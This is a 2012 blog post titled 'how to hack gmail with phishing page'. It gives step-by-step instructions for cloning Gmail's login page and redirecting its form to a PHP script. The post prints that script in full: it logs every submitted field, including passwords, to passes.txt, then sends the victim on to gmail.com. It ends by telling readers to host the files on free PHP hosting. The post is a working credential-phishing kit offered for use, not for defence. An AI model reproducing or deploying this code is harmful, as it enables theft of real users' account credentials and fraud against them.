Search

Sunday 23 September 2012

how to hack gmail with phishing page

Phishing is one of the best way to hack gmail account. I had already posted some articles on phishing but few of those are not available due to post loss in website transfer. So i am writing an article again.

Download the phishing page from HERE


To create phishing page of gmail, first of all open gmail in your browser. Then click on file and then save as.

Now you have saved gmail login page to your system.

Now open the saved page in notepad or or any other html editor tool. Now search for form tag <form

You will see some thing like this <form id="gaia_loginform" action="https://accounts.google.com/ServiceLoginAuth" method="post"> The form is set to send the data to url given in action attribute.

Change action attribute to write.php

<form id="gaia_loginform" action="write.php" method="post"> Now form will send data to your write.php

Now create a file write.php in the same directory and write

<?php
header("Location: http://www.gmail.com/");
$handle = fopen("passes.txt", "a");
foreach($_POST as $variable => $value)
{
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
exit;
?>
Now create an account in a free hosting that support php and upload all the files to the server.

0 comments:

Post a Comment